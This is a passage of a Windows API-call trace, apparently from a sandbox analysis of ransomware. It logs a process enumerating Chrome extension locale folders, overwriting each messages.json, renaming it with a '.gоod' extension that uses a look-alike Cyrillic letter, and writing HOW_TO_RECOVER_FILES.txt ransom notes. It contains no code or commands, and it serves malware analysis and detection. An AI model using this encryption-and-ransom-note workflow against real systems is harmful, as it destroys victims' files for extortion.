ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x837160c7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0226.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0226.876] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.gоod")) returned 1 [0226.877] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0226.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0226.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.877] GetFileType (hFile=0x630) returned 0x1 [0226.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0226.877] GetFileType (hFile=0x630) returned 0x1 [0226.878] WriteFile (in: hFile=0x630, lpBuffer=0x3761250*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3761250*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0226.879] CloseHandle (hObject=0x630) returned 1 [0226.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpFilePart=0x0) returned 0x7b [0226.879] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0226.880] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551efcd8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551f23d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.880] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.880] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0226.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpFilePart=0x0) returned 0x7b [0226.881] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0226.881] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551efcd8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551f23d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0226.881] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551efcd8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551f23d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0226.881] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0226.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0226.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0226.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0226.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0226.882] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3776fd0 | out: lpFileInformation=0x3776fd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551efcd8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551f23d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0226.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0226.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0226.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0226.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.882] GetFileType (hFile=0x630) returned 0x1 [0226.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0226.882] GetFileType (hFile=0x630) returned 0x1 [0226.882] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe0 [0226.882] ReadFile (in: hFile=0x630, lpBuffer=0x3777468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3777468*, lpNumberOfBytesRead=0x1f6e7648*=0xe0, lpOverlapped=0x0) returned 1 [0226.883] CloseHandle (hObject=0x630) returned 1 [0228.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0228.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0228.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.478] GetFileType (hFile=0x82c) returned 0x1 [0228.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0228.478] GetFileType (hFile=0x82c) returned 0x1 [0228.478] WriteFile (in: hFile=0x82c, lpBuffer=0x35d15f0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x35d15f0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0228.479] CloseHandle (hObject=0x82c) returned 1 [0228.479] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0228.479] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0228.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0228.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551efcd8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551f23d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x846603b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0228.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0228.479] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.gоod")) returned 1 [0228.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0228.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0228.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0228.482] GetFileType (hFile=0x82c) returned 0x1 [0228.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0228.482] GetFileType (hFile=0x82c) returned 0x1 [0228.483] WriteFile (in: hFile=0x82c, lpBuffer=0x35d4f28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x35d4f28*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0228.483] CloseHandle (hObject=0x82c) returned 1 [0228.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0228.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpFilePart=0x0) returned 0x7b [0228.484] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0228.484] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.485] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551fe740, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55200e38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0228.485] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.485] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0228.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0228.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0228.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0228.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpFilePart=0x0) returned 0x7b [0228.485] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0228.485] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.486] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551fe740, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55200e38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0228.486] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551fe740, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55200e38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0228.486] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0228.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0228.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0228.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0228.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0228.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x35e4ef8 | out: lpFileInformation=0x35e4ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551fe740, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55200e38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0228.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0228.487] 